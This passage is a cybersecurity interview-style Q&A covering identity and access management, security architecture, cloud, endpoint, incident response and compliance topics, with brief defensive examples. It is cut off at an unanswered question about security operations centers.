Both capture network traffic for analysis. Network tap: passive hardware device inserted into a link — captures all traffic without impacting performance, no configuration needed. SPAN (Switched Port Analyzer): switch feature mirrors traffic from ports/VLANs to a monitoring port — can miss traffic if switch is overloaded. Example: IDS sensor connected to a network tap captures all traffic between firewall and internal switch for analysis.

5 Identity & Access Management (IAM)

20 Qs

Q98 QUESTION

What is authentication vs authorization vs accounting (AAA)?

ANSWER

Authentication: Who are you? (verify identity — password, biometrics). Authorization: What can you do? (permissions — read, write, admin). Accounting: What did you do? (logging — login time, files accessed, commands run). Example: RADIUS server authenticates VPN users (AuthN), assigns VLAN/permissions (AuthZ), logs session details (Accounting).

Q99 QUESTION

What is multi-factor authentication (MFA)?

ANSWER

MFA requires two or more factors: (1) Something you know (password, PIN), (2) Something you have (TOTP token, smart card), (3) Something you are (fingerprint, face), (4) Somewhere you are (geolocation). Example: Bank login requires password + SMS OTP. Even if password is stolen, attacker lacks the second factor.

Q100 QUESTION

What is TOTP?

ANSWER

TOTP (Time-based One-Time Password) generates a 6-digit code every 30 seconds using a shared secret + current timestamp (RFC 6238). Example: Google Authenticator displays 123456 for 30 seconds. The server independently computes the same value. No network connection required — codes are generated locally.

Q101 QUESTION

What is FIDO2/WebAuthn?

ANSWER

FIDO2 is a phishing-resistant authentication standard using public key cryptography. Example: Registering a YubiKey — the key generates a key pair, stores the private key in hardware, sends the public key to the website. Login: site sends a challenge, YubiKey signs it with the private key. Phishing-proof because credentials are domain-bound.

Q102 QUESTION

What is single sign-on (SSO)?

ANSWER

SSO allows users to authenticate once and access multiple applications without re-entering credentials. Example: Log into Okta once to access Salesforce, Slack, AWS, and Google Workspace without additional logins. Uses protocols: SAML 2.0 (enterprise), OAuth 2.0 + OIDC (consumer/API), Kerberos (Active Directory).

Q103 QUESTION

What is SAML?

ANSWER

SAML (Security Assertion Markup Language) is an XML-based SSO protocol. Example: Logging into GitHub via your company's SAML IdP: (1) GitHub redirects to Okta, (2) Okta authenticates you, (3) Okta sends a signed XML SAML assertion to GitHub, (4) GitHub grants access based on the assertion. IdP = Okta, SP = GitHub.

Q104 QUESTION

What is OAuth 2.0?

ANSWER

OAuth 2.0 is an authorization framework allowing third-party apps to access resources without sharing passwords. Example: 'Login with Google' on a news site — Google issues an access token to the news site to read your profile. You never share your Google password with the news site. Note: OAuth is authorization, not authentication.

Q105 QUESTION

What is OIDC (OpenID Connect)?

ANSWER

OIDC adds authentication (identity) on top of OAuth 2.0 by introducing an ID Token (JWT). Example: 'Login with Google' returns an ID token containing claims (sub, email, name) proving who you are. The access token is for API access; the ID token is for identity. OIDC = OAuth 2.0 + authentication layer.

Q106 QUESTION

What is Kerberos authentication?

ANSWER

Kerberos is a ticket-based authentication protocol used in Active Directory. Process: (1) Client authenticates to KDC and gets Ticket Granting Ticket (TGT), (2) Client presents TGT to get a Service Ticket (ST), (3) Client presents ST to the target service. Passwords never sent over the network — tickets are time-limited.

Q107 QUESTION

What is LDAP and Active Directory?

ANSWER

LDAP (Lightweight Directory Access Protocol) is a protocol for accessing directory services. Active Directory (AD) is Microsoft's directory service using LDAP + Kerberos. Example: When you log into a Windows workstation, it queries AD via LDAP to verify credentials and retrieve group memberships determining access rights.

Q108 QUESTION

What is role-based access control (RBAC)?

ANSWER

RBAC assigns permissions to roles, not directly to users. Example: In a hospital — Nurses role gets read/write on patient records; Billing role gets read on billing data only; Admin role manages user accounts. A nurse gets all nurse permissions just by being assigned the Nurse role. Simplifies permission management.

Q109 QUESTION

What is attribute-based access control (ABAC)?

ANSWER

ABAC makes access decisions based on attributes of users, resources, and environment. Example: Policy — 'Doctors (role=doctor) can access patient records (resource=PHI) during business hours (time=9-5) from the hospital network (location=internal).' More granular than RBAC. Used in cloud IAM policies (AWS IAM).

Q110 QUESTION

What is least privilege?

ANSWER

Least privilege gives users only the minimum permissions needed for their job. Example: A developer gets read access to the production database but not write. A helpdesk agent can reset passwords but cannot modify group policies. Reduces blast radius of compromised accounts. Regularly review and remove unused permissions.

Q111 QUESTION

What is privileged access management (PAM)?

ANSWER

PAM manages and monitors privileged accounts (admin, root, service accounts). Example: CyberArk PAM vault stores admin passwords; admins check out credentials for a time-limited session, all keystrokes are recorded. Automatic password rotation after each session. Prevents credential sharing and provides full audit trails.

Q112 QUESTION

What is federated identity?

ANSWER

Federation allows identity from one domain to be trusted by another. Example: A company's employees log into a partner's portal using their corporate credentials — the partner trusts the company's IdP. No separate accounts needed in the partner system. Enabled by SAML or OIDC trust relationships between the IdP and SP.

Q113 QUESTION

What is just-in-time (JIT) access?

ANSWER

JIT access grants temporary elevated privileges only when needed. Example: An engineer needs admin rights to fix a production issue. They request JIT access, get 2-hour admin rights, and the access automatically expires. No permanent admin accounts — dramatically reduces the window of privilege abuse. Used by Azure PIM, AWS IAM temporary credentials.

Q114 QUESTION

What is password spraying?

ANSWER

Password spraying tries one common password (e.g., 'Welcome123') across many accounts to avoid lockout. Opposite of brute force. Example: An attacker tries 'Summer2024!' against all 500 domain accounts — only 1-2 attempts per account avoids lockout thresholds. Mitigation: Complex password policies, MFA, account lockout with alerts.

Q115 QUESTION

What is a directory service?

ANSWER

A directory service stores and manages information about network resources and users. Example: Active Directory stores user accounts, computers, groups, and policies. When a user logs in, AD authenticates them and applies Group Policy Objects (GPOs) to configure their session, software, and security settings.

Q116 QUESTION

What is certificate-based authentication?

ANSWER

Certificate-based authentication uses digital certificates as credentials. Example: Smart card login — the card stores an X.509 certificate and private key. During login, the card signs a challenge with the private key; AD verifies using the certificate's public key. More secure than passwords — the private key never leaves the card.

Q117 QUESTION

What is biometric authentication?

ANSWER

Biometric authentication uses physical characteristics. Types: fingerprint, iris scan, facial recognition, voice recognition, gait analysis. Accuracy metrics: FAR (False Acceptance Rate — wrong person accepted), FRR (False Rejection Rate — right person rejected), CER/EER (Crossover Error Rate — equal FAR=FRR, lower = better). Example: iPhone Face ID uses 3D facial mapping for FRR <1/1,000,000.

6 Security Architecture & Design

15 Qs

Q118 QUESTION

What is defense in depth?

ANSWER

Defense in depth uses multiple layers of security so no single control failure causes a breach. Example: Perimeter firewall □ Network IPS □ Host-based firewall □ EDR □ Application WAF □ Database encryption □ MFA. Like a castle with walls, moat, guards, and vaults — attackers must bypass all layers.

Q119 QUESTION

What is Zero Trust Architecture?

ANSWER

Zero Trust assumes no user or device is trusted by default, even inside the network. Principles: 'Never trust, always verify.' Example: A user on the corporate network still must authenticate, authorize, and be continuously validated to access each application. Micro-segmentation prevents lateral movement even after breach.

Q120 QUESTION

What is micro-segmentation?

ANSWER

Micro-segmentation divides the network into tiny zones with granular access controls. Example: In a data center, the web server can only talk to the app server on port 8080; the app server can only talk to the database on port 5432. A compromised web server cannot reach HR systems. Implemented via SDN or host-based firewalls.

Q121 QUESTION

What is Secure by Design?

ANSWER

Security built into systems from the start rather than added later. Example: A developer uses parameterized queries from day one (prevents SQL injection) instead of adding a WAF later. NIST Secure Software Development Framework (SSDF) and OWASP SAMM guide security-by-design practices.

Q122 QUESTION

What is threat modeling?

ANSWER

Threat modeling identifies threats and mitigations during design. STRIDE framework: Spoofing, Tampering, Repudiation, Information disclosure, Denial of service, Elevation of privilege. Example: For a payment API, threat modeling identifies that API keys could be stolen (Information disclosure) — mitigation: rotate keys, use OAuth tokens with short expiry.

Q123 QUESTION

What is STRIDE?

ANSWER

STRIDE is a threat categorization model: (S)poofing identity, (T)ampering with data, (R)epudiation of actions, (I)nformation disclosure, (D)enial of service, (E)levation of privilege. Example: A banking app threat model identifies tampering with transaction amounts — mitigation: HMAC signing of all financial transactions.

Q124 QUESTION

What is a bastion host in architecture?

ANSWER

A bastion host is a hardened server at the network edge that provides access to systems in a protected zone. Example: All admin access to internal servers must go through the bastion host. The bastion has strict inbound rules (specific IPs, MFA, key-based SSH only), full session logging, and no unnecessary services.

Q125 QUESTION

What is air gapping?

ANSWER

An air gap is a physical isolation of a system from all other networks, including the internet. Example: Nuclear plant control systems, classified government networks (JWICS), and some ICS/SCADA systems use air gaps. Even air-gapped systems can be attacked via USB (Stuxnet), acoustic, or electromagnetic covert channels.

Q126 QUESTION

What is a secure enclave?

ANSWER

A secure enclave is a isolated hardware environment protecting sensitive code and data from the main OS. Example: Apple's Secure Enclave Processor (T2 chip) stores Touch ID fingerprint data – even if iOS is compromised, the fingerprint data cannot be extracted. Intel SGX and ARM TrustZone are similar technologies.

Q127 QUESTION

What is infrastructure as code (IaC) security?

ANSWER

IaC security ensures configuration templates are free of misconfigurations. Example: A Terraform template creating an S3 bucket with `public_acl = true` is a misconfiguration. Tools like Checkov, tfsec, and Terrascan scan IaC for security issues before deployment, catching problems before they reach production.

Q128 QUESTION

What is cloud-native security?

ANSWER

Cloud-native security adapts controls to dynamic, containerized, serverless architectures. Example: Rather than perimeter firewalls, use Kubernetes Network Policies, service mesh (Istio) for mTLS between microservices, and OPA (Open Policy Agent) for policy enforcement. IAM roles replace traditional network-based access controls.

Q129 QUESTION

What is a trust boundary?

ANSWER

A trust boundary is a point where data crosses between zones of different trust levels. Example: The boundary between the internet (untrusted) and DMZ (semi-trusted) and internal network (trusted). Input validation must occur at trust boundaries – data from the internet must be sanitized before processing.

Q130 QUESTION

What is security zoning?

ANSWER

Security zoning groups systems with similar security requirements and trust levels. Example: Zone 0 (Internet), Zone 1 (DMZ - web servers), Zone 2 (Application servers), Zone 3 (Database servers - most trusted). Firewall rules enforce strict inter-zone communication, with decreasing access as zones become more sensitive.

Q131 QUESTION

What is a secure software development lifecycle (SSDLC)?

ANSWER

SSDLC integrates security activities into every development phase. Example: Requirements phase: define security requirements; Design: threat modeling; Development: secure coding guidelines; Testing: SAST, DAST, penetration testing; Deployment: secure configuration; Maintenance: vulnerability management, patch management.

Q132 QUESTION

What is SOAR (Security Orchestration, Automation, and Response)?

ANSWER

SOAR automates security workflows and incident response. Example: SIEM detects malware on endpoint → SOAR playbook automatically: isolates the endpoint from the network, collects forensic artifacts, creates a Jira ticket, notifies the SOC analyst, and checks VirusTotal for the file hash — all within seconds.

7 Cloud Security

15 Qs

Q133 QUESTION

What is the shared responsibility model?

ANSWER

Cloud security is shared between the provider and customer. AWS/Azure/GCP responsibility: physical security, hypervisor, global infrastructure, managed services. Customer responsibility: OS patching, application security, IAM configuration, data encryption, network controls. Example: AWS secures S3 infrastructure; you secure your S3 bucket policies.

Q134 QUESTION

What is IaaS vs PaaS vs SaaS security?

ANSWER

IaaS (EC2, Azure VM): Customer manages OS, application, data — most responsibility. PaaS (Elastic Beanstalk, Azure App Service): Customer manages application and data; provider manages OS and runtime. SaaS (Salesforce, Office 365): Customer manages only data and user access; provider manages everything else.

Q135 QUESTION

What is a CASB (Cloud Access Security Broker)?

ANSWER

CASB provides visibility and control over cloud application usage. Functions: Discover shadow IT (unauthorized cloud apps), enforce DLP policies, provide UEBA (behavioral analytics), apply access controls. Example: CASB discovers employees uploading sensitive files to personal Dropbox accounts and blocks the transfer while alerting security.

Q136 QUESTION

What are cloud misconfigurations?

ANSWER

Misconfigurations are the leading cause of cloud breaches. Common examples: (1) Public S3 buckets exposing sensitive data, (2) Security groups allowing 0.0.0.0/0 on port 22 (SSH), (3) No MFA on root/admin account, (4) Overly permissive IAM roles, (5) Unencrypted snapshots shared publicly. Use CSPM tools (Prisma Cloud, AWS Security Hub) to detect them.

Q137 QUESTION

What is a CWPP (Cloud Workload Protection Platform)?

ANSWER

CWPP protects cloud workloads — VMs, containers, serverless. Example: Aqua Security scans container images for vulnerabilities before deployment, enforces runtime security policies (block container escape attempts), detects anomalous behavior. Replaces traditional AV for cloud-native workloads.

Q138 QUESTION

What is container security?

ANSWER

Container security covers the image, runtime, and orchestration layers. Example: Security practices: (1) Scan images with Trivy/Snyk for CVEs, (2) Run containers as non-root, (3) Use read-only filesystems, (4) Apply Kubernetes Network Policies, (5) Use Pod Security Standards, (6) Implement secrets management (Vault, AWS Secrets Manager instead of environment variables).

Q139 QUESTION

What is serverless security?

ANSWER

Serverless functions (Lambda, Azure Functions) have unique security challenges. Example: (1) Over-permissive IAM roles — function shouldn't have admin rights; (2) Injecting malicious input through event sources (API Gateway); (3) Insecure dependencies in function code; (4) Cold start timing attacks. Use least-privilege IAM, input validation, and dependency scanning.

Q140 QUESTION

What is cloud IAM best practices?

ANSWER

Cloud IAM practices: (1) Enable MFA on all privileged accounts, especially root; (2) Use service roles instead of access keys; (3) Rotate access keys regularly; (4) Apply IAM policies using least privilege; (5) Use SCPs (Service Control Policies) in AWS Organizations; (6) Regular access reviews via IAM Access Analyzer. Example: AWS Access Advisor shows which services a role hasn't used in 90 days — trim those permissions.

Q141 QUESTION

What is a cloud security posture management (CSPM)?

ANSWER

CSPM continuously monitors cloud infrastructure for misconfigurations and compliance violations. Example: Prisma Cloud scans AWS account, finds S3 bucket with public access enabled (violates CIS benchmark), and alerts/auto-remediates by disabling public access. Provides compliance dashboards for PCI DSS, HIPAA, CIS.

Q142 QUESTION

What is data sovereignty in cloud?

ANSWER

Data sovereignty laws require data to remain within specific geographic boundaries. Example: GDPR requires EU citizen data to stay in the EU. A company must ensure their cloud provider's data residency settings keep EU data in EU regions. Some countries (Russia, China) require data stored locally on in-country servers.

Q143 QUESTION

What is cloud encryption at rest and in transit?

ANSWER

At rest: Data stored encrypted in S3 (SSE-S3, SSE-KMS), RDS (AES-256), EBS volumes. Example: Enabling S3 SSE-KMS uses AWS KMS to manage encryption keys — you control key rotation and access. In transit: TLS 1.2+ for all API calls. Example: Enforce TLS using S3 bucket policies that deny requests without `aws:SecureTransport` condition.

Q144 QUESTION

What is a cloud access key and best practices?

ANSWER

Cloud access keys (AWS Access Key ID + Secret Key) provide programmatic API access. Best practices: (1) Never embed keys in code or commit to Git, (2) Use IAM roles for EC2/Lambda instead of keys, (3) Rotate keys every 90 days, (4) Use AWS Secrets Manager or environment variables, (5) Enable CloudTrail to audit key usage, (6) Use AWS CloudShell which provides temporary credentials.

Q145 QUESTION

What is VPC (Virtual Private Cloud) security?

ANSWER

VPC is an isolated virtual network in the cloud. Security controls: (1) Security Groups — stateful, instance-level firewall; (2) NACLs — stateless, subnet-level firewall; (3) VPC Flow Logs — log all traffic; (4) VPC Peering / Transit Gateway — inter-VPC connectivity with routing control; (5) VPC Endpoints — access AWS services without internet gateway.

Q146 QUESTION

What is cloud logging and monitoring?

ANSWER

Cloud logging captures all API calls and resource changes. Example: AWS CloudTrail logs every API call (who did what, when, from where). CloudWatch monitors metrics and triggers alarms. GuardDuty uses ML to detect threats (impossible travel, crypto mining, credential exfiltration). Enable in all regions including inactive ones.

Q147 QUESTION

What is a cloud security benchmark?

ANSWER

Cloud security benchmarks provide configuration best practices. Example: CIS AWS Foundations Benchmark v2.0 includes 100+ controls: Enable CloudTrail in all regions, enable MFA on root, rotate access keys within 90 days, ensure no security groups allow 0.0.0.0/0 on port 22. Tools like AWS Security Hub check compliance automatically.

8 Endpoint & Application Security

15 Qs

Q148 QUESTION

What is EDR (Endpoint Detection and Response)?

ANSWER

EDR continuously monitors endpoints for threats and enables investigation and response. Example: CrowdStrike Falcon detects unusual PowerShell execution, correlates it with a network connection to a known C2 IP, automatically isolates the endpoint from the network, and provides a timeline of all attacker activities for forensic investigation.

Q149 QUESTION

What is application whitelisting?

ANSWER

Application whitelisting allows only approved applications to execute. Example: AppLocker policy allows only programs in C:\Program Files and signed by Microsoft. When ransomware tries to execute from %TEMP%\evil.exe, it's blocked. More effective than blacklisting (blocking known bad) because it defaults to deny.

Q150 QUESTION

What is a patch management lifecycle?

ANSWER

Patch management: (1) Inventory assets and software versions, (2) Monitor for new vulnerabilities (NVD, vendor advisories), (3) Evaluate patch criticality (CVSS score), (4) Test patches in staging environment, (5) Deploy via change management process, (6) Verify deployment, (7) Report compliance. Critical patches (CVSS 9+): 24-72 hours; High (7-8.9): 7 days; Medium: 30 days.

Q151 QUESTION

What is CVSS (Common Vulnerability Scoring System)?

ANSWER

CVSS scores vulnerability severity 0-10. Metrics: Base (exploitability, impact — AV, AC, PR, UI, S, C, I, A), Temporal (exploit maturity, remediation), Environmental (customized for your context). Example: Log4Shell = CVSS 10.0 — network exploitable (AV:N), low complexity (AC:L), no privileges required (PR:N), no user interaction (UI:N), full impact.

Q152 QUESTION

What is mobile device management (MDM)?

ANSWER

MDM manages and secures mobile devices. Capabilities: Remote wipe, enforce screen lock/PIN, restrict app installation, VPN configuration, certificate deployment, jailbreak/root detection. Example: Microsoft Intune enrolls iPhones — policies enforce 6-digit PIN, disable iCloud backup of corporate data, and remotely wipe lost/stolen devices.

Q153 QUESTION

What is BYOD security?

ANSWER

BYOD (Bring Your Own Device) presents challenges: personal and corporate data on same device. Solutions: (1) MDM with containerization — corporate apps in encrypted container, (2) MAM (Mobile Application Management) — manage apps without full device control, (3) Acceptable use policy, (4) VPN for corporate access, (5) Restrict corporate data to managed apps.

Q154 QUESTION

What is full disk encryption?

ANSWER

Full disk encryption (FDE) encrypts all data on a storage device. Example: BitLocker (Windows) encrypts the OS drive using AES-256-XTS. The TPM chip stores the encryption key and releases it only if the boot sequence hasn't been tampered with. If a laptop is stolen, data is inaccessible without the PIN/recovery key.

Q155 QUESTION

What is TPM (Trusted Platform Module)?

ANSWER

TPM is a dedicated hardware chip providing cryptographic functions. Functions: Secure key storage, measurement of boot process (PCR registers), disk encryption key sealing (BitLocker), remote attestation. Example: Before releasing the BitLocker key, TPM verifies the boot measurements match the expected baseline — tampered firmware changes the PCR values, refusing to release the key.

Q156 QUESTION

What is Secure Boot?

ANSWER

Secure Boot verifies the digital signature of boot components (bootloader, kernel) before executing them. Example: UEFI Secure Boot checks the bootloader's signature against a whitelist. A rootkit trying to replace the bootloader with unsigned code will fail to load, preventing persistence below the OS level.

Q157 QUESTION

What is SAST vs DAST?

ANSWER

SAST (Static Application Security Testing): analyzes source code without execution for vulnerabilities. Example: Checkmarx finds SQL injection in Java code during development. DAST (Dynamic Application Security Testing): tests running applications by sending attacks. Example: Burp Suite sends malicious inputs to a live web app to find XSS, SQLi, and IDOR vulnerabilities. Use both: SAST early, DAST pre-release.

Q158 QUESTION

What is software composition analysis (SCA)?

ANSWER

SCA identifies vulnerabilities in open-source dependencies. Example: A Node.js app uses lodash 4.17.11 which has CVE-2019-10744 (prototype pollution). SCA tool (Snyk, Dependabot) detects this and suggests upgrading to lodash 4.17.21. Critical given 80%+ of modern code is open source.

Q159 QUESTION

What is code signing?

ANSWER

Code signing uses a digital certificate to sign software, proving authenticity and integrity. Example: Microsoft signs PowerShell scripts with a code signing certificate. Execution policy 'AllSigned' only runs scripts with valid signatures. If an attacker modifies the script, the signature verification fails, preventing execution.

Q160 QUESTION

What is anti-malware and its limitations?

ANSWER

Anti-malware detects known threats using signatures, heuristics, and behavioral analysis. Limitations: (1) Zero-day threats not in signature database, (2) Polymorphic malware changes signature each run, (3) Fileless malware lives in memory without files to scan. Modern EDR with behavioral analytics and ML overcomes signature limitations.

Q161 QUESTION

What is an SBOM (Software Bill of Materials)?

ANSWER

SBOM is a formal list of all components, libraries, and dependencies in a software product. Example: After Log4Shell, organizations with SBOMs immediately identified all systems using Log4j and began patching. Without SBOM, discovering all affected systems took weeks. Mandated for US federal software suppliers by EO 14028.

Q162 QUESTION

What is API security best practices?

ANSWER

API security: (1) Authentication — OAuth 2.0 / API keys, (2) Authorization — verify ownership before access, (3) Rate limiting — prevent abuse, (4) Input validation — reject malformed requests, (5) Encrypt in transit — TLS 1.2+, (6) Schema validation — reject unexpected fields, (7) Logging — log all requests for anomaly detection, (8) OWASP API Security Top 10 guidance.

9 Incident Response & Forensics

15 Qs

Q163 QUESTION

What are the phases of incident response?

ANSWER

NIST SP 800-61 defines four phases: (1) Preparation — policies, playbooks, tools, training; (2) Detection and Analysis — identify and scope the incident; (3) Containment, Eradication, Recovery — stop the spread, remove malware, restore systems; (4) Post-Incident Activity — lessons learned, improve controls. SANS adds Identification as a distinct phase.

Q164 QUESTION

What is the order of volatility in forensics?

ANSWER

Collect evidence from most to least volatile: (1) CPU registers and cache, (2) RAM/memory, (3) Network state and connections, (4) Running processes, (5) Disk storage, (6) Remote logging, (7) Physical configuration (hardware). Example: Memory contains encryption keys, running processes, and network connections that are lost on reboot — capture RAM first.

Q165 QUESTION

What is chain of custody?

ANSWER

Chain of custody documents the handling of evidence to maintain its integrity for legal proceedings. Example: When collecting a hard drive: photograph the device, hash it (MD5/SHA-256), document who collected it, when, from where, seal in evidence bag, log every person who accesses it. Any break in chain can invalidate evidence in court.

Q166 QUESTION

What is a forensic image?

ANSWER

A forensic image is a bit-for-bit copy of a storage device including deleted files and free space. Example: Using dd or FTK Imager creates an exact copy. Verify integrity: MD5 hash of original = MD5 hash of image. Analysis is performed on the copy — the original is never modified. Write blockers prevent accidental modification during imaging.

Q167 QUESTION

What is memory forensics?

ANSWER

Memory forensics analyzes a RAM dump to find evidence of malicious activity. Example: Using Volatility to analyze a memory image: list running processes (pslist), find injected code (malfind), identify network connections (netscan), extract encryption keys or credentials. Fileless malware only exists in memory — disk forensics won't find it.

Q168 QUESTION

What are indicators of compromise (IoC)?

ANSWER

IoCs are artifacts indicating a system may be compromised. Types: (1) Hash — file hash matching known malware; (2) IP — known C2 server IP in network logs; (3) Domain — malicious domain in DNS queries; (4) URL — malicious download URL; (5) Registry key — malware persistence location; (6) Behavior — unusual process creating child processes, lateral movement. Share IoCs via STIX/TAXII.

Q169 QUESTION

What is a playbook in incident response?

ANSWER

A playbook is a documented procedure for responding to specific incident types. Example: Ransomware playbook: (1) Alert triggers on mass file encryption, (2) Immediately isolate affected systems from network, (3) Identify patient zero, (4) Collect memory and disk images, (5) Notify CISO and legal, (6) Assess backup integrity, (7) Restore from clean backups, (8) Patch vector, (9) Root cause analysis.

Q170 QUESTION

What is SIEM alerting and triage?

ANSWER

SIEM triage prioritizes and investigates alerts. Example: Alert fires for 'Brute Force Detected – 50 failed logins'. Analyst checks: Which account? Is it a service account or user? Was there a subsequent successful login? Did the IP match threat intelligence? Is this a known pen test window? Decision: Real attack ▢ escalate; False positive ▢ tune rule; Pen test ▢ document.

Q171 QUESTION

What is threat hunting?

ANSWER

Threat hunting proactively searches for hidden threats not caught by automated tools. Example: Hunter forms hypothesis: 'Attackers may be using DNS tunneling for C2.' Queries: long DNS queries (>50 characters), high query frequency from single host, uncommon DNS record types (TXT, NULL). Finds a host querying aB3xK9mP.evil.com every 30 seconds – active C2 channel discovered.

Q172 QUESTION

What is eradication in incident response?

ANSWER

Eradication removes all traces of the attacker from the environment. Steps: (1) Identify all compromised systems, (2) Remove malware and backdoors, (3) Change all compromised credentials, (4) Patch the exploited vulnerability, (5) Rebuild compromised systems from clean images. Example: After a ransomware attack, don't just decrypt files – assume all systems are backdoored and rebuild from scratch.

Q173 QUESTION

What is a tabletop exercise?

ANSWER

A tabletop exercise simulates an incident scenario to test response plans without live systems. Example: 'A ransomware attack has encrypted 30% of file servers. No backups for the past 48 hours.' Participants discuss: Who do we notify? How do we contain? Can we restore? What's our public statement? Identifies gaps in plans and communication before a real incident.

Q174 QUESTION

What is log analysis in investigations?

ANSWER

Log analysis correlates events across systems to reconstruct an attack timeline. Example: Investigating a breach: (1) Firewall logs – external IP accessed port 443 at 2:00 AM; (2) Web server logs – malicious file uploaded via CVE-2023-XXXX; (3) Auth logs – new admin account 'svc_backup' created at 2:15 AM; (4) EDR logs – lateral movement via RDP at 3:00 AM. Reconstructs the full attack.

Q175 QUESTION

What is ransomware response?

ANSWER

Ransomware response: (1) Isolate affected systems immediately – disconnect from network; (2) DO NOT reboot (may destroy memory evidence); (3) Preserve forensic images; (4) Identify variant and check NoMoreRansom.org for free decryptors; (5) Assess backup integrity and age; (6) Notify law enforcement (FBI IC3), legal, and insurance; (7) Decision: pay ransom (not recommended) or restore from backup.

Q176 QUESTION

What is a lessons learned report?

ANSWER

A lessons learned (post-incident) report documents what happened, how it was handled, and improvements needed. Contents: incident timeline, root cause, detection gap analysis, response effectiveness, actionable recommendations. Example: After a phishing incident, lesson learned: 'MFA was not enforced on email. Recommendation: mandate MFA for all email access within 30 days.'

Q177 QUESTION

What is digital forensics evidence types?

ANSWER

Evidence types in digital forensics: (1) Volatile – RAM, running processes (lost on power off); (2) Semi-volatile – ARP cache, routing table, network state; (3) Non-volatile – hard drive data, logs, system configuration; (4) Physical – hardware devices, CCTV, access control badges. Legal considerations: Fourth Amendment (US), GDPR (EU) impact forensic procedures.

10 Governance, Risk & Compliance (GRC)

15 Qs

Q178 QUESTION

What is a security policy vs standard vs procedure?

ANSWER

Policy: high-level, mandatory statement of intent. 'All sensitive data must be encrypted.' Standard: specific technical requirements implementing policy. 'Sensitive data at rest must use AES-256.' Procedure: step-by-step instructions. 'To encrypt a drive with BitLocker: 1) Open Control Panel, 2) Select BitLocker Drive Encryption...' Policies are mandatory; guidelines are optional recommendations.

Q179 QUESTION

What is risk management?

ANSWER

Risk management identifies, assesses, and mitigates risks. Formula: Risk = Likelihood × Impact. Responses: (1) Avoid — stop the risky activity; (2) Transfer — cyber insurance; (3) Mitigate — implement controls; (4) Accept — document and accept residual risk. Example: Hosting a public website carries SQL injection risk. Mitigate: WAF, parameterized queries; Transfer: cyber insurance; Accept: residual low risk.

Q180 QUESTION

What is GDPR?

ANSWER

GDPR (General Data Protection Regulation) protects EU citizens' personal data. Key requirements: (1) Lawful basis for processing, (2) Data minimization, (3) Right to access, rectification, erasure, (4) Data breach notification within 72 hours, (5) Data Protection Officer (DPO) for large processors, (6) Privacy by design. Fines up to €20M or 4% of global annual revenue.

Q181 QUESTION

What is HIPAA?

ANSWER

HIPAA (Health Insurance Portability and Accountability Act) protects US health information (PHI). Key rules: (1) Privacy Rule — limits PHI use/disclosure; (2) Security Rule — administrative, physical, and technical safeguards for ePHI; (3) Breach Notification Rule — notify within 60 days. Example: Encrypting laptops containing patient data satisfies the HIPAA security rule's technical safeguard requirement.

Q182 QUESTION

What is PCI DSS?

ANSWER

PCI DSS (Payment Card Industry Data Security Standard) protects cardholder data. 12 requirements covering: network security, cardholder data protection, vulnerability management, access control, monitoring, and information security policy. Example: Requirement 3 — never store CVV after authorization. Requirement 6 — patch systems within defined timeframes. Applies to any entity storing, processing, or transmitting card data.

Q183 QUESTION

What is the NIST Cybersecurity Framework (CSF)?

ANSWER

NIST CSF provides voluntary guidance using five functions: Identify (asset management, risk assessment), Protect (access control, training, data security), Detect (anomaly detection, monitoring), Respond (incident response, communication), Recover (recovery planning, improvements). Example: An organization uses CSF to assess maturity and build a roadmap from ad-hoc (Tier 1) to Adaptive (Tier 4).

Q184 QUESTION

What is ISO 27001?

ANSWER

ISO 27001 is an international standard for Information Security Management Systems (ISMS). Certifiable through third-party audit. Annex A has 93 controls across 4 themes: Organizational, People, Physical, Technological. Example: A cloud provider achieves ISO 27001 certification, demonstrating to customers that systematic security management processes are in place. Valid 3 years with surveillance audits.

Q185 QUESTION

What is SOC 2?

ANSWER

SOC 2 (Service Organization Control 2) audits service organizations on Trust Services Criteria: Security (required), Availability, Processing Integrity, Confidentiality, Privacy. Type I: point-in-time assessment. Type II: covers operations over 6-12 months. Example: SaaS companies share SOC 2 Type II reports with enterprise customers as evidence of security controls.

Q186 QUESTION

What is a risk register?

ANSWER

A risk register catalogs identified risks with their likelihood, impact, risk owner, and mitigation status. Example entry: Risk: 'SQL injection in customer portal' | Likelihood: High | Impact: High | Risk Score: Critical | Owner: AppSec Team | Mitigation: Implement parameterized queries and WAF | Due: 30 days | Residual Risk: Low. Living document reviewed quarterly.

Q187 QUESTION

What is business continuity planning (BCP)?

ANSWER

BCP ensures critical business functions continue during and after a disaster. Key metrics: RTO (Recovery Time Objective) — how long you can be down; RPO (Recovery Point Objective) — how much data loss is acceptable. Example: Hospital RTO for patient records: 4 hours; RPO: 1 hour. BCP includes backup site, communication plan, and succession planning.

Q188 QUESTION

What is disaster recovery (DR)?

ANSWER

DR focuses on restoring IT systems after a disaster. Strategies: (1) Hot site — fully operational backup site (seconds/minutes RTO); (2) Warm site — systems provisioned, not fully configured (hours RTO); (3) Cold site — empty facility, bring-your-own equipment (days RTO); (4) Cloud DR — automated failover using cloud replication. Example: AWS Route 53 health checks + failover routing provides near-zero RTO DR.

Q189 QUESTION

What is a BIA (Business Impact Analysis)?

ANSWER

BIA identifies critical business functions and the impact of their disruption. Steps: (1) Identify critical processes, (2) Determine dependencies (systems, people, suppliers), (3) Quantify impact of downtime (financial, reputational, regulatory), (4) Determine RTO and RPO for each process. Example: BIA reveals that HR payroll system going down >48 hours results in regulatory fines — sets a strict 48-hour RTO.

Q190 QUESTION

What is third-party risk management?

ANSWER

Third-party risk management evaluates and monitors vendors' security. Example: Before signing a cloud contract, vendor security questionnaire asks about: encryption standards, incident response, certifications (SOC 2, ISO 27001), penetration testing frequency, and sub-processor list. Ongoing monitoring: annual reassessment, notification of breaches, right-to-audit clause.

Q191 QUESTION

What is a penetration test vs vulnerability assessment?

ANSWER

Vulnerability assessment identifies and reports known vulnerabilities — passive scanning (Nessus, Qualys). No exploitation. Penetration test actively exploits vulnerabilities to determine real-world impact — simulates an attacker. Example: VA finds a missing patch (known). Pen test exploits it, escalates to domain admin, and demonstrates the business impact of that single unpatched system.

Q192 QUESTION

What is a security awareness training program?

ANSWER

Security awareness training educates employees about threats and safe behaviors. Components: (1) Annual formal training, (2) Phishing simulations — send fake phishing emails, track click rate, train those who fail, (3) Micro-learning — short monthly security tips, (4) Role-based training — HR gets data privacy training, IT gets technical security, (5) Metrics — phishing click rate, training completion, incident reports.

11 Security Operations & Monitoring

15 Qs

Q193 QUESTION

What is a SOC (Security Operations Center)?

ANSWER

